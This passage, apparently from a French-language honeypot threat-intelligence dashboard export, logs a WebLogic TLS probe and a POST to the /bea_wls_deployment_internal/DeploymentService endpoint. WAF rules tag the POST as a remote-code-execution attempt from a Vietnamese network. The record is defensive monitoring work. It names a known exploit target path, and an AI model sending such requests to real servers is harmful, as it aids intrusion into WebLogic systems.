"confidence": 0.85,
"classification_confidence": 0.85,
"precision_score": 87,
"precision_signals": [
"INT-weblogic_console",
"INT-upstream"
],
"kb_rule_ids": [
"INT-weblogic_console",
"INT-upstream"
],
"matched_patterns": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"matched_pattern_names": [
"Minecraft varint handshake",
"SIP TLS ClientHello",
"TFTP RRQ"
],
"pattern_ids": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "weblogic",
"risk_confidence_factor": 77,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "c49045ca2b18f7245c839c506f560df6",
"path_pattern_hash": "a179ef516d6662010534ca5ee85ea8d3"
},
"target_context": {
"dst_port": 7001,
"service": "weblogic",
"service_name": "weblogic",
"risk_score": 33
},
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffdV\ufffd|;\ufffd\t\ufffdc4\ufffd\ufffdQ\ufffdZ\ufffd2\ufffda\ufffd5\ufffd\u001c\ufffd\ufffd-\u0001\u000e\ufffdX# \ufffd\ufffd\u000bS\u0013\ufffdI\ufffd\u0016\ufffd\ufffdk\ufffd`)\ufffd\ufffd\ufffd$(\u0004\ufffd2G\ufffd\ufffd\ufffd{\ufffd\u0007\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"evidence": {
"request_sample": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffdV\ufffd|;\ufffd\t\ufffdc4\ufffd\ufffdQ\ufffdZ\ufffd2\ufffda\ufffd5\ufffd\u001c\ufffd\ufffd-\u0001\u000e\ufffdX# \ufffd\ufffd\u000bS\u0013\ufffdI\ufffd\u0016\ufffd\ufffdk\ufffd`)\ufffd\ufffd\ufffd$(\u0004\ufffd2G\ufffd\ufffd\ufffd{\ufffd\u0007\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd\u0000\ufffd\u0000=\u0000<\u00005\u0000\/\u0000\ufffd\u0001\u0000\u0001u\u0000\u000b\u0000\u0004\u0003\u0000\u0001\u0002\u0000\n\u0000\f\u0000\n\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0000#\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r\u00000\u0000.\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b\n\b\u000b\b\u0004\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0003\u0003\u0002\u0003\u0003\u0001\u0002\u0001\u0003\u0002\u0002\u0002\u0004\u0002\u0005\u0002\u0006\u0002\u0000+\u0000\t\b\u0003\u0004\u0003\u0003\u0003\u0002\u0003\u0001\u0000-\u0000\u0002\u0001\u0001\u00003\u0000&\u0000",
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffdV\ufffd|;\ufffd\t\ufffdc4\ufffd\ufffdQ\ufffdZ\ufffd2\ufffda\ufffd5\ufffd\u001c\ufffd\ufffd-\u0001\u000e\ufffdX# \ufffd\ufffd\u000bS\u0013\ufffdI\ufffd\u0016\ufffd\ufffdk\ufffd`)\ufffd\ufffd\ufffd$(\u0004\ufffd2G\ufffd\ufffd\ufffd{\ufffd\u0007\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"enterprise_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "db1515a812cc0cb9db05680253a630601e89a164",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffdV\ufffd|;\ufffd\t\ufffdc4\ufffd\ufffdQ\ufffdZ\ufffd2\ufffda\ufffd5\ufffd\u001c\ufffd\ufffd-\u0001\u000e\ufffdX# \ufffd\ufffd\u000bS\u0013\ufffdI\ufffd\u0016\ufffd\ufffdk\ufffd`)\ufffd\ufffd\ufffd$(\u0004\ufffd2G\ufffd\ufffd\ufffd{\ufffd\u0007\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"evidence_snippet": "\ufffd\ufffdV\ufffd|;\ufffd\t\ufffdc4\ufffd\ufffdQ\ufffdZ\ufffd2\ufffda\ufffd5\ufffd\ufffd\ufffd-\ufffdX# \ufffd\ufffdS\ufffdI\ufffd\ufffd\ufffdk\ufffd`)\ufffd\ufffd\ufffd$(\ufffd2G\ufffd\ufffd\ufffd{\ufffd\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"classification_reason_label_fr": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100",
"confidence_pct": 85,
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 33,
"risk_label": "Faible",
"service_name": "weblogic",
"service_label_fr": "WEBLOGIC",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"INT-weblogic_console",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Weblogic Console",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-weblogic",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffdV\ufffd|;\ufffd\t\ufffdc4\ufffd\ufffdQ\ufffdZ\ufffd2\ufffda\ufffd5\ufffd\u001c\ufffd\ufffd-\u0001\u000e\ufffdX# \ufffd\ufffd\u000bS\u0013\ufffdI\ufffd\u0016\ufffd\ufffdk\ufffd`)\ufffd\ufffd\ufffd$(\u0004\ufffd2G\ufffd\ufffd\ufffd{\ufffd\u0007\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"evidence_snippet": "\ufffd\ufffdV\ufffd|;\ufffd\t\ufffdc4\ufffd\ufffdQ\ufffdZ\ufffd2\ufffda\ufffd5\ufffd\ufffd\ufffd-\ufffdX# \ufffd\ufffdS\ufffdI\ufffd\ufffd\ufffdk\ufffd`)\ufffd\ufffd\ufffd$(\ufffd2G\ufffd\ufffd\ufffd{\ufffd\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"confidence_factors_fr": "Confiance 85 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "weblogic",
"service_banner": "honeypot-weblogic",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"net_weblogic_probe",
"tls_clienthello",
"weblogic_emulated"
]
}
24/07/2026 09:39:03 UTC
TCP
7001 · WEBLOGIC
weblogic probe
weblogic probe · via WEBLOGIC:7001 · (sonde / probe)
Élevée
Faible · 33
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
WEBLOGIC
WAF
—
Recommandation
Surveiller
Tags
net_weblogic_probe
weblogic_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
7001
Chemin / cible
—
Pourquoi cette classification : Type « weblogic_probe » (signaux protocolaires) · confiance 77%
Confiance classification
85%
Corrélation +8
Risque capteur
Faible
· 33
Confiance : Confiance 77 % — 2 signal(aux) capteur
Protocole émulé
1 Signaux
Weblogic Console
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
User-Agent
—
Règles WAF
—
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"port_inferred_service": true,
"bytes_in": 0,
"payload_entropy": 0,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "weblogic",
"app_proto": "weblogic",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 8,
"risk_classification": 58,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 4.9,
"risk_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0
},
"risk_score": 33,
"tag_count": 2,
"anomaly_count": 0,
"campaign_key": "3209cb76d7a9ac3a6e65d8bcbb4694715e457ed2",
"event_fingerprint": "4ea7ffe7bc9ade2843b5e81016a496bfea35cfd6",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"confidence": 0.85,
"classification_confidence": 0.85,
"precision_score": 87,
"precision_signals": [
"INT-weblogic_console",
"INT-upstream"
],
"kb_rule_ids": [
"INT-weblogic_console",
"INT-upstream"
],
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "weblogic",
"risk_confidence_factor": 77,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"path_pattern_hash": "a179ef516d6662010534ca5ee85ea8d3"
},
"target_context": {
"dst_port": 7001,
"service": "weblogic",
"service_name": "weblogic",
"risk_score": 33
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"enterprise_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "f0610a8c38d06fe53a67bb00f5975a7813535595",
"protocol_details": {
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 2 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"classification_reason_label_fr": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100",
"confidence_pct": 85,
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 33,
"risk_label": "Faible",
"service_name": "weblogic",
"service_label_fr": "WEBLOGIC",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"INT-weblogic_console",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Weblogic Console",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-weblogic",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"evidence_snippet": null,
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 2 signal(aux) capteur",
"confidence_factors_fr": "Confiance 85 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "weblogic",
"service_banner": "honeypot-weblogic",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"net_weblogic_probe",
"weblogic_emulated"
]
}
24/07/2026 09:39:03 UTC
TCP
7001 · HTTP
Tentative d'exploit
exploit attempt · via HTTP:7001 · (tentative d'exploit) · → /bea_wls_deployment_internal/DeploymentService
Élevée
Moyen · 52
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
POST /bea_wls_deployment_internal/DeploymentService UA Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/201001…
Émulateur
HTTP
WAF
19
Recommandation
Investiguer
Tags
950326:rce-0
950468:nosqli-3
950470:nosqli-3
net_web_probe
Cible HTTP
POST
/bea_wls_deployment_internal/DeploymentService
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
7001
Chemin / cible
/bea_wls_deployment_internal/DeploymentService
Pourquoi cette classification : Tentative d'exploit (tag rce-0) · confiance 62%
Confiance classification
70%
Corrélation +8
Risque capteur
Moyen
· 52
Confiance : Confiance 62 % — 3 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1190
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Ligne de requête
POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Règles WAF
rce-0
nosqli-3
Payload (extrait)
POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1
Host: 62.3.50.33:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; W
Requête brute (extrait)
POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"http_header_count": 2,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "526c128160b99bde962deaec266d3dfbb4fd2ce3",
"http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b",
"http_target_hash": "f3ee6354c01f3d03e0e3a9b9133c3b3cef9f416b",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 179,
"payload_entropy": 5.314034213945168,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "http",
"app_proto": "http",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 84,
"risk_classification": 72,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 5.6,
"risk_breakdown": {
"waf": 84,
"classification": 72,
"behavior": 0,
"geo": 0,
"protocol": 33,
"novelty": 15
},
"risk_score": 52,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "040b6029d745bd5fabff8fd7e8d1d3603102b8df",
"event_fingerprint": "99d207adf686cde46836e74799f5b7da7dbb5cdc",
"classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%",
"confidence": 0.7,
"classification_confidence": 0.7,
"precision_score": 73,
"precision_signals": [
"MITRE-T1190"
],
"kb_rule_ids": [
"MITRE-T1190"
],
"confidence_breakdown": {
"waf": 84,
"classification": 72,
"behavior": 0,
"geo": 0,
"protocol": 33,
"novelty": 15,
"risk_score": 52,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 62,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "5b2b09a0df144ba2e29ec0938784c236",
"payload_hash": "f646b87911a0b59569ae150bd88f3593",
"path_pattern_hash": "3fc9b67468876d76641ce675fc5f4385"
},
"target_context": {
"dst_port": 7001,
"service": "http",
"service_name": "http",
"risk_score": 52
},
"payload_preview": "POST \/bea_wls_deployment_internal\/DeploymentService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; W",
"method": "POST",
"path": "\/bea_wls_deployment_internal\/DeploymentService",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/bea_wls_deployment_internal\/DeploymentService HTTP\/1.1",
"request_sample": "POST \/bea_wls_deployment_internal\/DeploymentService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0\r\n\r\n",
"payload_snippet": "POST \/bea_wls_deployment_internal\/DeploymentService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; W",
"evidence": {
"method": "POST",
"path": "\/bea_wls_deployment_internal\/DeploymentService",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/bea_wls_deployment_internal\/DeploymentService HTTP\/1.1",
"request_sample": "POST \/bea_wls_deployment_internal\/DeploymentService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0\r\n\r\n",
"payload_snippet": "POST \/bea_wls_deployment_internal\/DeploymentService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; W",
"classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "4b7731d747fdb74c4dca2dea4e68360778a750da",
"protocol_details": {
"http_method": "POST",
"http_path": "\/bea_wls_deployment_internal\/DeploymentService",
"request_line": "POST \/bea_wls_deployment_internal\/DeploymentService HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/bea_wls_deployment_internal\/DeploymentService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; W",
"attack_vector": "exploit attempt \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/bea_wls_deployment_internal\/DeploymentService",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 62 % \u2014 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%",
"classification_reason_label_fr": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 52\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 70 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 70,
"confidence_breakdown": {
"waf": 84,
"classification": 72,
"behavior": 0,
"geo": 0,
"protocol": 33,
"novelty": 15,
"risk_score": 52,
"correlation_boost": 8
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 52,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1190"
],
"tags_summary_labels_fr": [
"MITRE-T1190"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"http_method": "POST",
"http_path": "\/bea_wls_deployment_internal\/DeploymentService",
"request_line": "POST \/bea_wls_deployment_internal\/DeploymentService HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "exploit attempt \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/bea_wls_deployment_internal\/DeploymentService",
"evidence_snippet": "POST \/bea_wls_deployment_internal\/DeploymentService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; W",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 62 % \u2014 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 70 % \u2014 Score WAF 84 \u00b7 Bonus corr\u00e9lation +8 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
